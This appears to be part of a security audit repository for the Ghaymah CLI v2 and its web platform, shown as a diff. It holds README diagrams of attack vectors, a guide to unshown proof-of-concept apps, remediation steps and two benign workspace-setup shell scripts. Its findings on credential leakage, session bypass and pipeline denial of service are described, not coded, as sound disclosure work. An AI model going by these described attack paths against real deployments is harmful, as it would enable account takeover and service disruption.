subgraph GHAYMAH_API ["โ๏ธ Ghaymah Backend"]
|
||||
C["fa:fa-server <b>API Gateway</b><br/>Receives deploy request"]
|
||||
D["fa:fa-cogs <b>Build Worker</b><br/>Parses env variables"]
|
||||
E["fa:fa-docker <b>Docker Builder</b><br/>Builds container image"]
|
||||
end
|
||||
|
||||
subgraph FAILURE ["๐ Failure State"]
|
||||
F["fa:fa-bomb <b>Worker Crash</b><br/>Malformed input causes panic"]
|
||||
G["fa:fa-hourglass-end <b>Pipeline Hang</b><br/>Indefinite wait state"]
|
||||
H["fa:fa-ban <b>DoS Achieved</b><br/>No deploy / no cancel"]
|
||||
end
|
||||
|
||||
A -->|"1. Reads config"| B
|
||||
B -->|"2. Sends payload<br/>(unvalidated)"| C
|
||||
C -->|"3. Dispatches job"| D
|
||||
D -->|"4. โ
Normal flow"| E
|
||||
D -->|"4. โ Malformed input"| F
|
||||
F -->|"5. No error propagation"| G
|
||||
G -->|"6. User stuck"| H
|
||||
|
||||
style CLIENT fill:#1a1a2e,stroke:#00C853,stroke-width:2px,color:#FFFFFF
|
||||
style GHAYMAH_API fill:#1a1a2e,stroke:#4A90D9,stroke-width:2px,color:#FFFFFF
|
||||
style FAILURE fill:#1a1a2e,stroke:#FF4444,stroke-width:2px,color:#FFFFFF
|
||||
style A fill:#0D1117,stroke:#00C853,color:#FFFFFF
|
||||
style B fill:#0D1117,stroke:#FFAA00,color:#FFFFFF
|
||||
style C fill:#0D1117,stroke:#4A90D9,color:#FFFFFF
|
||||
style D fill:#0D1117,stroke:#4A90D9,color:#FFFFFF
|
||||
style E fill:#0D1117,stroke:#00C853,color:#FFFFFF
|
||||
style F fill:#0D1117,stroke:#FF4444,color:#FFFFFF
|
||||
style G fill:#0D1117,stroke:#FF4444,color:#FFFFFF
|
||||
style H fill:#0D1117,stroke:#FF0000,color:#FFFFFF
|
||||
```
|
||||
|
||||
### Proof of Concept
|
||||
The following PoC apps demonstrate this attack:
|
||||
|
||||
| PoC App | Purpose |
|
||||
|:---|:---|
|
||||
| `PoC_Apps/broken-docker-test/` | Intentionally broken Dockerfile to test error handling |
|
||||
| `PoC_Apps/invalid-docker-test/` | Invalid Docker configuration causing pipeline hang |
|
||||
| `PoC_Apps/test-app-3/` | Malformed env variable injection test |
|
||||
| `PoC_Apps/test-app-5/` | Extended poisoning test with edge-case values |
|
||||
|
||||
### Evidence
|
||||
|
||||
| Artifact | Description |
|
||||
|:---|:---|
|
||||
| `Assets/Screenshots/logs.png` | Backend logs showing worker crash and hang state |
|
||||
|
||||
### Remediation
|
||||
```
|
||||
1. Validate all env variable keys/values against a strict schema
|
||||
2. Implement build timeouts (max 10 min) with automatic cleanup
|
||||
3. Add a "cancel deployment" feature to the CLI and API
|
||||
4. Sanitize inputs: reject multi-line values, shell metacharacters, >4KB values
|
||||
5. Return structured errors to the CLI on worker failure
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
---
|
||||
|
||||
<br/>
|
||||
|
||||
## ๐ Attack Surface Architecture
|
||||
|
||||
> Complete Mermaid.js diagram mapping the audit scope, attack vectors, and affected components.
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
subgraph SCOPE ["๐ฏ Audit Scope"]
|
||||
direction TB
|
||||
CLI["fa:fa-terminal <b>Ghaymah CLI v2</b><br/>gy-linux-amd64"]
|
||||
WEB["fa:fa-globe <b>Web Platform</b><br/>Dashboard & API"]
|
||||
end
|
||||
|
||||
subgraph VECTORS ["โ๏ธ Attack Vectors"]
|
||||
direction TB
|
||||
V1["T1552<br/>Credential Leakage"]
|
||||
V2["T1539<br/>Session Bypass"]
|
||||
V3["CWE-400<br/>Config Poisoning"]
|
||||
V4["OWASP A07<br/>Auth Failure"]
|
||||
end
|
||||
|
||||
subgraph IMPACT ["๐ฅ Impact"]
|
||||
direction TB
|
||||
I1["๐ Secret Exposure"]
|
||||
I2["๐ค Account Takeover"]
|
||||
I3["โ Pipeline DoS"]
|
||||
end
|
||||
|
||||
CLI --> V1
|
||||
CLI --> V3
|
||||
WEB --> V2
|
||||
WEB --> V4
|
||||
|
||||
V1 --> I1
|
||||
V2 --> I2
|
||||
V3 --> I3
|
||||
V4 --> I2
|
||||
|
||||
style SCOPE fill:#0D1117,stroke:#4A90D9,stroke-width:2px,color:#FFFFFF
|
||||
style VECTORS fill:#0D1117,stroke:#FF6600,stroke-width:2px,color:#FFFFFF
|
||||
style IMPACT fill:#0D1117,stroke:#FF0000,stroke-width:2px,color:#FFFFFF
|
||||
style CLI fill:#1a1a2e,stroke:#00C853,color:#FFFFFF
|
||||
style WEB fill:#1a1a2e,stroke:#4A90D9,color:#FFFFFF
|
||||
style V1 fill:#1a1a2e,stroke:#FF0000,color:#FFFFFF
|
||||
style V2 fill:#1a1a2e,stroke:#FF6600,color:#FFFFFF
|
||||
style V3 fill:#1a1a2e,stroke:#FFAA00,color:#FFFFFF
|
||||
style V4 fill:#1a1a2e,stroke:#FF0000,color:#FFFFFF
|
||||
style I1 fill:#1a1a2e,stroke:#FF4444,color:#FFFFFF
|
||||
style I2 fill:#1a1a2e,stroke:#FF4444,color:#FFFFFF
|
||||
style I3 fill:#1a1a2e,stroke:#FF4444,color:#FFFFFF
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
<br/>
|
||||
|
||||
## ๐ Repository Structure
|
||||
|
||||
```
|
||||
ghaymah-v2-test/
|
||||
โ
|
||||
โโโ ๐ Assets/
|
||||
โ โโโ ๐ Screenshots/ # Visual evidence & proof captures
|
||||
โ โโโ docker.png # Dockerfile credential exposure
|
||||
โ โโโ env.png # .env file leakage in image layers
|
||||
โ โโโ logs.png # Backend worker crash logs
|
||||
โ โโโ Screenshot_*.png # Session management bypass evidence
|
||||
โ โโโ ...
|
||||
โ
|
||||
โโโ ๐ PoC_Apps/ # Proof-of-Concept applications
|
||||
โ โโโ ๐ test-app/ # Initial recon & .env leak PoC
|
||||
โ โโโ ๐ test-app-2/ # RCE boundary testing (auto_rce_test.sh)
|
||||
โ โโโ ๐ test-app-3/ # Malformed env variable injection
|
||||
โ โโโ ๐ test-app-5/ # Extended config poisoning tests
|
||||
โ โโโ ๐ test-app-clean/ # Baseline clean deployment
|
||||
โ โโโ ๐ test-app-final/ # Final validated Dockerfile
|
||||
โ โโโ ๐ broken-docker-test/ # Intentionally broken Docker config
|
||||
โ โโโ ๐ invalid-docker-test/ # Invalid config โ pipeline hang PoC
|
||||
โ
|
||||
โโโ ๐ Reports/
|
||||
โ โโโ ๐ Ghaymah_CLI_v2_Audit_Report.pdf # Full audit report (PDF)
|
||||
โ
|
||||
โโโ ๐ .gitignore # Ignores binary, .env, OS artifacts
|
||||
โโโ ๐ organize.sh # Workspace organization script
|
||||
โโโ ๐ README.md # โ You are here
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
<br/>
|
||||
|
||||
## ๐งช PoC Navigation Guide
|
||||
|
||||
<details>
|
||||
<summary><b>๐ How to reproduce the findings</b></summary>
|
||||
|
||||
<br/>
|
||||
|
||||
Each folder inside `PoC_Apps/` is a standalone application that was deployed through the Ghaymah CLI to validate a specific vulnerability. They are ordered chronologically by testing phase:
|
||||
|
||||
### Phase 1 โ Reconnaissance & Credential Leakage
|
||||
| Folder | Purpose | Related Finding |
|
||||
|:---|:---|:---|
|
||||
| `test-app/` | Initial deployment with `.env` file containing test credentials. Demonstrates that secrets persist in image layers. | Finding 1 (T1552) |
|
||||
| `test-app-2/` | Includes `auto_rce_test.sh` โ automated script probing for command injection boundaries in the build pipeline. | Exploratory |
|
||||
|
||||
### Phase 2 โ Configuration Poisoning & DoS
|
||||
| Folder | Purpose | Related Finding |
|
||||
|:---|:---|:---|
|
||||
| `test-app-3/` | Dockerfile with malformed `ENV` directives to test input validation on the backend worker. | Finding 4 (CWE-400) |
|
||||
| `test-app-5/` | Extended poisoning tests: multi-line values, special characters, oversized payloads. | Finding 4 (CWE-400) |
|
||||
| `broken-docker-test/` | Intentionally invalid Dockerfile to test error handling and pipeline recovery. | Finding 4 (CWE-400) |
|
||||
| `invalid-docker-test/` | Invalid Docker configuration that triggers a permanent pipeline hang. | Finding 4 (CWE-400) |
|
||||
|
||||
### Phase 3 โ Validation & Baseline
|
||||
| Folder | Purpose | Related Finding |
|
||||
|:---|:---|:---|
|
||||
| `test-app-clean/` | Clean deployment with no malicious payloads โ establishes a working baseline. | Baseline |
|
||||
| `test-app-final/` | Final validated Dockerfile confirming the minimal reproducible deployment. | Baseline |
|
||||
|
||||
> **Note:** Findings 2 (OWASP A07) and 3 (T1539) target the **web platform** and were validated via browser-based testing and API calls, not via PoC apps.
|
||||
|
||||
</details>
|
||||
|
||||
---
|
||||
|
||||
<br/>
|
||||
|
||||
## ๐ Methodology
|
||||
|
||||
<details>
|
||||
<summary><b>๐ Testing Methodology & Frameworks</b></summary>
|
||||
|
||||
<br/>
|
||||
|
||||
| Framework | Application |
|
||||
|:---|:---|
|
||||
| **MITRE ATT&CK** | Technique mapping for CLI-side findings (T1552, T1539) |
|
||||
| **OWASP Top 10 (2021)** | Web platform assessment (A07: Identification & Authentication Failures) |
|
||||
| **OWASP ASVS v4.0** | Authentication & session management verification |
|
||||
| **CWE/CVSS** | Vulnerability classification & severity scoring |
|
||||
| **Manual Testing** | Custom PoC development, API fuzzing, Docker image inspection |
|
||||
|
||||
### Tools Used
|
||||
- `gy-linux-amd64` โ Ghaymah CLI v2 binary (target under test)
|
||||
- `docker` โ Container runtime for image inspection & layer analysis
|
||||
- Browser DevTools โ Session token inspection & API testing
|
||||
- Custom shell scripts โ Automated RCE boundary testing
|
||||
|
||||
</details>
|
||||
|
||||
---
|
||||
|
||||
<br/>
|
||||
|
||||
## ๐ Full Report
|
||||
|
||||
The comprehensive audit report with detailed technical analysis, risk ratings, and remediation roadmap is available as a PDF:
|
||||
|
||||
<div align="center">
|
||||
|
||||
๐ **[`Reports/Ghaymah_CLI_v2_Audit_Report.pdf`](./Reports/Ghaymah_CLI_v2_Audit_Report.pdf)**
|
||||
|
||||
</div>
|
||||
|
||||
---
|
||||
|
||||
<br/>
|
||||
|
||||
## โ๏ธ Disclaimer
|
||||
|
||||
> This security audit was conducted in a controlled testing environment with explicit authorization. All findings are reported responsibly to the platform maintainers. The PoC applications and scripts in this repository are provided for **educational and verification purposes only**. Unauthorized use of these techniques against systems you do not own or have permission to test is **illegal and unethical**.
|
||||
|
||||
---
|
||||
|
||||
<div align="center">
|
||||
|
||||
<br/>
|
||||
|
||||
<img src="https://img.shields.io/badge/Crafted_with-Precision_&_Purpose-0D1117?style=for-the-badge&logo=shield&logoColor=FF4444" />
|
||||
|
||||
<br/><br/>
|
||||
|
||||
**Ziad Mahmoud Ahmed Abdelgwad**
|
||||
*Cybersecurity Specialist*
|
||||
|
||||
<br/>
|
||||
|
||||
<a href="https://github.com/ZiadMahmoud2003"><img src="https://img.shields.io/badge/GitHub-ZiadMahmoud2003-181717?style=for-the-badge&logo=github&logoColor=white" /></a>
|
||||
|
||||
<a href="https://app.gitpasha.com/Ziad_Abdelgwad"><img src="https://img.shields.io/badge/GitPasha-Ziad__Abdelgwad-181717?style=for-the-badge&logo=git&logoColor=white" /></a>
|
||||
|
||||
<br/><br/>
|
||||
|
||||
<sub>ยฉ 2026 โ All rights reserved. Conducted under responsible disclosure principles.</sub>
|
||||
|
||||
</div>
|
||||
ุซูุงุฆูุฉ
Reports/Ghaymah_CLI_v2_Audit_Report.pdf
Normal file
ุซูุงุฆูุฉ
Reports/Ghaymah_CLI_v2_Audit_Report.pdf
Normal file
ู
ูู ุซูุงุฆู ุบูุฑ ู
ุนุฑูุถ.
81
git_init.sh
Normal file
81
git_init.sh
Normal file
@@ -0,0 +1,81 @@
|
||||
#!/bin/sh
|
||||
# ============================================================================
|
||||
# Ghaymah CLI v2 Audit โ Git Initialization Script
|
||||
# Author : Ziad Mahmoud Ahmed Abdelgwad
|
||||
# Usage : sh git_init.sh
|
||||
# ============================================================================
|
||||
|
||||
set -eu
|
||||
WORKSPACE="/root/ghaymah-v2-test"
|
||||
cd "$WORKSPACE"
|
||||
|
||||
echo ""
|
||||
echo "โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ"
|
||||
echo "โ Ghaymah CLI v2 โ Git Repository Initialization โ"
|
||||
echo "โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ"
|
||||
echo ""
|
||||
|
||||
# โโ Step 1: Initialize the repository โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
||||
echo "[1/4] Initializing Git repository..."
|
||||
git init
|
||||
echo " โ Git repository initialized"
|
||||
|
||||
# โโ Step 2: Configure Git identity (adjust as needed) โโโโโโโโโโโโโโโโโโโโโโโโ
|
||||
echo ""
|
||||
echo "[2/4] Configuring Git identity..."
|
||||
git config user.name "Ziad Mahmoud Ahmed Abdelgwad"
|
||||
git config user.email "your-email@example.com"
|
||||
echo " โ Git user configured"
|
||||
echo " โ Update user.email if needed: git config user.email \"you@example.com\""
|
||||
|
||||
# โโ Step 3: Stage all files โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
||||
echo ""
|
||||
echo "[3/4] Staging files..."
|
||||
git add -A
|
||||
echo " โ All files staged"
|
||||
echo ""
|
||||
echo " Files staged (excluding .gitignore patterns):"
|
||||
git status --short
|
||||
|
||||
# โโ Step 4: Initial commit โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
||||
echo ""
|
||||
echo "[4/4] Creating initial commit..."
|
||||
git commit -m "๐ก๏ธ feat: Ghaymah CLI v2 โ Security & QA Audit Repository
|
||||
|
||||
Comprehensive security audit of the Ghaymah CLI v2 and web platform.
|
||||
|
||||
Findings:
|
||||
- [CRITICAL] T1552: Dockerfile & .env Credential Leakage
|
||||
- [CRITICAL] OWASP A07: Missing OTP & Unverified Password Change
|
||||
- [HIGH] T1539: Session Token Revocation Bypass
|
||||
- [MED/HIGH] CWE-400: Configuration Poisoning DoS (Pipeline Hang)
|
||||
|
||||
Includes:
|
||||
- 8 Proof-of-Concept applications (PoC_Apps/)
|
||||
- Visual evidence & screenshots (Assets/Screenshots/)
|
||||
- Full PDF audit report (Reports/)
|
||||
- Mermaid.js attack flow diagrams in README
|
||||
|
||||
Auditor: Ziad Mahmoud Ahmed Abdelgwad โ Cybersecurity Specialist"
|
||||
|
||||
echo ""
|
||||
echo " โ Initial commit created"
|
||||
|
||||
# โโ Post-init instructions โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
||||
echo ""
|
||||
echo "โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ"
|
||||
echo "โ โ
Repository initialized successfully! โ"
|
||||
echo "โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ"
|
||||
echo ""
|
||||
echo " Next steps โ Add your remote and push:"
|
||||
echo ""
|
||||
echo " git remote add origin https://github.com/gitpasha/ghaymah-v2-test.git"
|
||||
echo " git branch -M main"
|
||||
echo " git push -u origin main"
|
||||
echo ""
|
||||
echo " Or if using SSH:"
|
||||
echo ""
|
||||
echo " git remote add origin git@github.com:gitpasha/ghaymah-v2-test.git"
|
||||
echo " git branch -M main"
|
||||
echo " git push -u origin main"
|
||||
echo ""
|
||||
161
organize.sh
Normal file
161
organize.sh
Normal file
@@ -0,0 +1,161 @@
|
||||
#!/bin/bash
|
||||
# ============================================================================
|
||||
# Ghaymah CLI v2 โ Audit Workspace Organizer
|
||||
# Author : Ziad Mahmoud Ahmed Abdelgwad
|
||||
# Date : 2026-08-19
|
||||
# Purpose: Restructure the raw audit workspace into a clean, professional
|
||||
# directory layout suitable for version control and publication.
|
||||
# ============================================================================
|
||||
|
||||
set -euo pipefail
|
||||
WORKSPACE="/root/ghaymah-v2-test"
|
||||
cd "$WORKSPACE"
|
||||
|
||||
echo ""
|
||||
echo "โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ"
|
||||
echo "โ Ghaymah CLI v2 โ Workspace Organizer โ"
|
||||
echo "โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ"
|
||||
echo ""
|
||||
|
||||
# โโ Step 1: Create the target directory structure โโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
||||
echo "[1/5] Creating directory structure..."
|
||||
mkdir -p PoC_Apps
|
||||
mkdir -p Assets/Screenshots
|
||||
mkdir -p Reports
|
||||
echo " โ PoC_Apps/"
|
||||
echo " โ Assets/Screenshots/"
|
||||
echo " โ Reports/"
|
||||
|
||||
# โโ Step 2: Move all PoC application folders into PoC_Apps โโโโโโโโโโโโโโโโโโโ
|
||||
echo ""
|
||||
echo "[2/5] Moving PoC application folders โ PoC_Apps/"
|
||||
|
||||
for dir in test-app test-app-2 test-app-3 test-app-5 test-app-clean test-app-final; do
|
||||
if [ -d "$dir" ]; then
|
||||
mv "$dir" PoC_Apps/
|
||||
echo " โ $dir โ PoC_Apps/$dir"
|
||||
else
|
||||
echo " โ $dir not found, skipping."
|
||||
fi
|
||||
done
|
||||
|
||||
for dir in broken-docker-test invalid-docker-test; do
|
||||
if [ -d "$dir" ]; then
|
||||
mv "$dir" PoC_Apps/
|
||||
echo " โ $dir โ PoC_Apps/$dir"
|
||||
else
|
||||
echo " โ $dir not found, skipping."
|
||||
fi
|
||||
done
|
||||
|
||||
# โโ Step 3: Migrate screenshots โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
||||
echo ""
|
||||
echo "[3/5] Migrating screenshots โ Assets/Screenshots/"
|
||||
|
||||
if [ -d "screenshoots" ]; then
|
||||
# Copy contents into the properly-named directory
|
||||
cp -r screenshoots/* Assets/Screenshots/ 2>/dev/null || true
|
||||
# Remove the old misspelled directory
|
||||
rm -rf screenshoots
|
||||
echo " โ screenshoots/* โ Assets/Screenshots/"
|
||||
echo " โ Removed old 'screenshoots' directory"
|
||||
else
|
||||
echo " โ screenshoots/ not found, skipping."
|
||||
fi
|
||||
|
||||
# Rename screenshot files with cleaner names (spaces โ underscores)
|
||||
cd Assets/Screenshots
|
||||
for f in *; do
|
||||
clean_name=$(echo "$f" | tr ' ' '_')
|
||||
if [ "$f" != "$clean_name" ]; then
|
||||
mv "$f" "$clean_name"
|
||||
echo " โ Renamed: $f โ $clean_name"
|
||||
fi
|
||||
done
|
||||
cd "$WORKSPACE"
|
||||
|
||||
# โโ Step 4: Move the audit report โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
||||
echo ""
|
||||
echo "[4/5] Moving audit report โ Reports/"
|
||||
|
||||
if [ -f "Ghaymah_CLI_v2_Audit_Report.pdf" ]; then
|
||||
mv Ghaymah_CLI_v2_Audit_Report.pdf Reports/
|
||||
echo " โ Ghaymah_CLI_v2_Audit_Report.pdf โ Reports/"
|
||||
fi
|
||||
|
||||
# Clean up Zone.Identifier files (Windows artifact)
|
||||
find . -name "*.Zone.Identifier" -delete 2>/dev/null || true
|
||||
echo " โ Cleaned up .Zone.Identifier files"
|
||||
|
||||
# โโ Step 5: Generate .gitignore โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
||||
echo ""
|
||||
echo "[5/5] Generating .gitignore..."
|
||||
|
||||
cat > .gitignore << 'GITIGNORE'
|
||||
# ============================================================================
|
||||
# Ghaymah CLI v2 Audit โ .gitignore
|
||||
# ============================================================================
|
||||
|
||||
# โโ CLI Binary (large / proprietary) โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
||||
gy-linux-amd64
|
||||
|
||||
# โโ Windows Zone.Identifier metadata โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
||||
*.Zone.Identifier
|
||||
*:Zone.Identifier
|
||||
|
||||
# โโ Sensitive environment files โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
||||
.env
|
||||
.env.*
|
||||
!.env.example
|
||||
|
||||
# โโ OS-generated files โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
||||
.DS_Store
|
||||
Thumbs.db
|
||||
Desktop.ini
|
||||
|
||||
# โโ IDE / Editor files โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
*.swo
|
||||
*~
|
||||
|
||||
# โโ Node / build artifacts โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
||||
node_modules/
|
||||
dist/
|
||||
build/
|
||||
*.log
|
||||
GITIGNORE
|
||||
|
||||
echo " โ .gitignore created"
|
||||
|
||||
# โโ Summary โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
|
||||
echo ""
|
||||
echo "โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ"
|
||||
echo "โ โ
Workspace organization complete! โ"
|
||||
echo "โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ"
|
||||
echo ""
|
||||
echo "Final structure:"
|
||||
echo ""
|
||||
echo " ghaymah-v2-test/"
|
||||
echo " โโโ Assets/"
|
||||
echo " โ โโโ Screenshots/"
|
||||
echo " โ โโโ docker.png"
|
||||
echo " โ โโโ env.png"
|
||||
echo " โ โโโ logs.png"
|
||||
echo " โ โโโ Screenshot_*.png"
|
||||
echo " โโโ PoC_Apps/"
|
||||
echo " โ โโโ test-app/"
|
||||
echo " โ โโโ test-app-2/"
|
||||
echo " โ โโโ test-app-3/"
|
||||
echo " โ โโโ test-app-5/"
|
||||
echo " โ โโโ test-app-clean/"
|
||||
echo " โ โโโ test-app-final/"
|
||||
echo " โ โโโ broken-docker-test/"
|
||||
echo " โ โโโ invalid-docker-test/"
|
||||
echo " โโโ Reports/"
|
||||
echo " โ โโโ Ghaymah_CLI_v2_Audit_Report.pdf"
|
||||
echo " โโโ .gitignore"
|
||||
echo " โโโ organize.sh"
|
||||
echo " โโโ README.md"
|
||||
echo ""
|
||||
ุงูู
ุฑุฌุน ูู ู
ุดููุฉ ุฌุฏูุฏุฉ
ุญุธุฑ ู
ุณุชุฎุฏู